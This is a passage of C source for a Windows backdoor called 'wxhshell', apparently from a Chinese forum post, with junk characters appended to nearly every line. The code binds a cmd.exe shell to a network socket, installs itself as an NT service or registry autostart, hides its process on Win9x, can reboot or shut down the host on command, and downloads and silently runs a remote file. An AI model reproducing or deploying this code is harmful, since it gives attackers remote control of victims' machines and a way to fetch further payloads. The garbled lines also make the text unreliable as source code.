  else { Hp_3BulS<  
,`/J1(\ nd  
    switch(cmd[0]) { <qzHMy Ai  
  27-<q5q  
  // 帮助 um@RaU  
  case '?': { zaX!f ~;"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A# W%ud4  
    break; 71+J{XOC  
  } GNXQD}L?b?  
  // 安装 TxhTK5#f  
  case 'i': { ,w|f*L$  
    if(Install()) jfyV9)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zh$[UdY6  
    else q/,W'lQ\;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p6(n\egR  
    break; %Ke:%##Y  
    } "HW~|M7>(  
  // 卸载 pa&*n=&cL  
  case 'r': { R1z\b~@"  
    if(Uninstall()) l1~>{:mq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4WnB{9 i`I  
    else R/ 7G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Urhh)i  
    break; =5EG}@  
    } jNN$/ZWm  
  // 显示 wxhshell 所在路径 I"E5XVC);  
  case 'p': { /xjHzva^ w  
    char svExeFile[MAX_PATH]; w$H=GF?"  
    strcpy(svExeFile,"\n\r"); US+PI`  
      strcat(svExeFile,ExeFile); rUkiwqr~E  
        send(wsh,svExeFile,strlen(svExeFile),0); Y%$57,Bu n  
    break; WlVC0&  
    } m,3?*0BMp=  
  // 重启 ZD1UMB0$4  
  case 'b': { S%b7NK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7-+X -Y?  
    if(Boot(REBOOT)) M'D;2qo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1>%%#  
    else { >R/^|hnJ  
    closesocket(wsh); __""!Yz  
    ExitThread(0); vBd^=O  
    } 0fnd9`N!0  
    break; 4YkH;!M>ji  
    } {4&G\2<^^  
  // 关机 @B$ Y`eK\  
  case 'd': { E7+ y W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8 vB~1tl;  
    if(Boot(SHUTDOWN)) pB{QO4q n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z2og&|uT  
    else { pYJv|`+  
    closesocket(wsh); q>w@W:tZ  
    ExitThread(0); #rzq9}9tB  
    } wH[@#UP3l  
    break; :{C#<g`  
    } >Vc_.dR)E  
  // 获取shell :L`  
  case 's': { KYVB=14  
    CmdShell(wsh); DY?`Y%"  
    closesocket(wsh); ]j0v.[SX  
    ExitThread(0); wo84V!"A  
    break; bT>% *  
  } 8QDRlF:;<  
  // 退出 ~=P&wBnJ  
  case 'x': { 0X#tt`;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xfqgK D>  
    CloseIt(wsh); "8VCXD  
    break; gOa'o<  
    } PdJtJqA8h\  
  // 离开 }:YS$'by  
  case 'q': { 4~4PZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Os9xZ  
    closesocket(wsh); F<X)eO]tk  
    WSACleanup(); [g/Hf(&  
    exit(1); '=@O]7o~  
    break; {) 4D1  
        } :{%6< j  
  } O'U0Y8HN  
  } MuYr?1<q  
3> -/sii  
  // 提示信息 |)i- c`x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y1txI  
} gm9e-QIHK  
  } V;ZyAp  
#B|`F?o  
  return; M[D`)7=b  
} #ldNWwvRGj  
.Nr}V.?57  
// shell模块句柄 rE[*i q,#  
int CmdShell(SOCKET sock) p+#J;.  
{ O9oVx4=  
STARTUPINFO si; 83:m 7;  
ZeroMemory(&si,sizeof(si)); Yt!UIl\<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jg3}U j2By  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ow]S 3[07  
PROCESS_INFORMATION ProcessInfo; B+eB=KL  
char cmdline[]="cmd"; g=Q#2/UQ<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ):jK sP ,  
  return 0; GIsXv 2  
} e`'O!  
}8GCOY  
// 自身启动模式 R>BI;IcX  
int StartFromService(void) =El.uBz{  
{ `,tv&siSA  
typedef struct %JBp~"  
{ A!H6$-W|p  
  DWORD ExitStatus; KWCA9.w4q  
  DWORD PebBaseAddress; i0Qg[%{9#  
  DWORD AffinityMask; I<z /Y?  
  DWORD BasePriority; v-Ggf0RF  
  ULONG UniqueProcessId; \06fP4?  
  ULONG InheritedFromUniqueProcessId; }3j/%oN.(  
}   PROCESS_BASIC_INFORMATION; ]IXKoJUf  
PDvqA{  
PROCNTQSIP NtQueryInformationProcess; 8b !&TP~m1  
'y}l9alF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8V`r*:\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z<ptrH  
0wB ?U~  
  HANDLE             hProcess; BQ,]]}e43z  
  PROCESS_BASIC_INFORMATION pbi; p82&X+v/p  
X3".  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8#2PJHl;  
  if(NULL == hInst ) return 0; +dS e" W9  
o~<37J3).  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0XSZ3dY&+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;n00kel$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EN` -- ^  
P )_g t  
  if (!NtQueryInformationProcess) return 0; 3X89mIDr  
&Ph@uZ\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B-|:l 7  
  if(!hProcess) return 0; YMj z , N  
ueDG1)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k]l M%  
Y b]eWLv  
  CloseHandle(hProcess); FGG Fi(  
PbJn8o   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *J=`"^BO  
if(hProcess==NULL) return 0; 52q@&')D4M  
Q9q:HGXxv  
HMODULE hMod; BC%t[H} >R  
char procName[255]; _OZrH(8  
unsigned long cbNeeded; ' ]l,  
~A}"s-Kq5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0diQfu)Fi  
;XSV}eLu  
  CloseHandle(hProcess); }ARWR.7Cc  
#n]js7  
if(strstr(procName,"services")) return 1; // 以服务启动 uNxR#S  
xV}E3Yj2#  
  return 0; // 注册表启动 !3v!BJ#+,&  
} 29z+<?K{  
epJVs0W  
// 主模块 K;,n?Q w  
int StartWxhshell(LPSTR lpCmdLine) I{JU<A,&  
{ 8GN0487H  
  SOCKET wsl; gnlGL[r|  
BOOL val=TRUE; A/lxXy}D  
  int port=0; *^ \xH,.  
  struct sockaddr_in door; F +D2 xN@  
1mwb&j24n3  
  if(wscfg.ws_autoins) Install(); @E{c P%fv  
ea3AcT6  
port=atoi(lpCmdLine); H\W60|z9  
BR8z%R  
if(port<=0) port=wscfg.ws_port; .<gA a"  
xv]P-q0  
  WSADATA data; ':R)i.TS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <oS2a/Nd  
#b4`Wcrj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .wtb7U;7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #yFDC@gH1  
  door.sin_family = AF_INET; i d\0yRBt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8O qG{jmG  
  door.sin_port = htons(port); n AQB  
*JZU 0Xb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U`ey7   
closesocket(wsl); ,oT?-PC$z  
return 1; LUna stA^  
} Vx;f/CH3!  
MIub^ $<C  
  if(listen(wsl,2) == INVALID_SOCKET) { .!\y<9  
closesocket(wsl); 1RY}mq  
return 1; _FeLSk.  
} 1t+]r:{  
  Wxhshell(wsl); oil s;*q  
  WSACleanup(); R{NmWj['Mg  
'C]zB'H=  
return 0; _&D I_'5q+  
Nj1vB;4Nx  
} <8|vj 2d2  
br .jj  
// 以NT服务方式启动 { .B^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f$Q#xlQM  
{ /d%&s^M:  
DWORD   status = 0; ^DS9D:oE  
  DWORD   specificError = 0xfffffff; "pa5+N&2-  
+M$2:[xRT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lj/ ?P9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i*:lZeU61  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v}Gq.(b  
  serviceStatus.dwWin32ExitCode     = 0; HTao)`.  
  serviceStatus.dwServiceSpecificExitCode = 0; ?5K.#>{  
  serviceStatus.dwCheckPoint       = 0; FTI[YR8?Y  
  serviceStatus.dwWaitHint       = 0; 9`f]Rf"  
/(8Usu?g.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;+>-uPT/1  
  if (hServiceStatusHandle==0) return; oJ ,t]e*q=  
"[L[*>[9!  
status = GetLastError(); ~e@ QJ=r  
  if (status!=NO_ERROR) J!3 X}@_N  
{ AFGWlC#`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S) Sv4Qm  
    serviceStatus.dwCheckPoint       = 0; .t.H(Q9  
    serviceStatus.dwWaitHint       = 0; 3;Kv9i<~LE  
    serviceStatus.dwWin32ExitCode     = status; kLU$8L  
    serviceStatus.dwServiceSpecificExitCode = specificError; XE[~! >'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E)H: L-  
    return; $xNM^O  
  } 7FW!3~3A_  
vg&Dr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SSY E&  
  serviceStatus.dwCheckPoint       = 0; fKY6stJE  
  serviceStatus.dwWaitHint       = 0; |k$[+53A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {'l^{"GO"  
} U 3aY =8B  
|Kky+*  
// 处理NT服务事件,比如:启动、停止 UBs'3M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m]R< :_  
{ DDq*#;dP  
switch(fdwControl) N&K:Jp  
{ Q9tBHz  
case SERVICE_CONTROL_STOP: v T2YX5k&,  
  serviceStatus.dwWin32ExitCode = 0; *.K+"WS%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DlC`GZEtqh  
  serviceStatus.dwCheckPoint   = 0; 8fKt6T  
  serviceStatus.dwWaitHint     = 0; r@5_LD@f  
  { y-m<&{q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6]^ShOX_Z  
  } L#Uk=  
  return; ^8Tq0>n?  
case SERVICE_CONTROL_PAUSE: 1`)ie%=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Os"dAgZFY  
  break; lZ.x@hDS  
case SERVICE_CONTROL_CONTINUE: JaoRkl?F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Db1mvSe  
  break; 1Y6<i8  
case SERVICE_CONTROL_INTERROGATE: }`E5I&r4  
  break; Rx<m+=  
}; 2Vas`/~u~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |'9%vtbM  
} R$X1Q/#md  
}dX[u`zQ  
// 标准应用程序主函数 ~McmlJzJG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %W~Kx_  
{ L}UJ`U  
PVH^yWi n  
// 获取操作系统版本 0+jR,5 |  
OsIsNt=GetOsVer(); :CH "cbo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yoGe^gar  
8u Tq0d6(  
  // 从命令行安装 X1?7}VO  
  if(strpbrk(lpCmdLine,"iI")) Install(); =kH7   
3 GmU$w  
  // 下载执行文件 [g`9C!P-G  
if(wscfg.ws_downexe) { e` Z;}& ,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .I$ Q3%s  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^\Tde*48  
} P +ONQN|  
j|gQe .,1  
if(!OsIsNt) { _U(b  
// 如果时win9x,隐藏进程并且设置为注册表启动 3TVp oB`  
HideProc(); ,l^; ZE  
StartWxhshell(lpCmdLine); }R4%%)j(Vj  
} p \A^kX^5  
else ^2%_AP0=  
  if(StartFromService()) :IlRn`9X`  
  // 以服务方式启动 [* ,k  
  StartServiceCtrlDispatcher(DispatchTable); j&,,~AZm  
else A;7p  
  // 普通方式启动 7nM]E_  
  StartWxhshell(lpCmdLine); xpCzx=n3.m  
+EjH9;gx  
return 0; =cI -<0QSn  
}
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只看该作者 1 发表于: 2006-10-10
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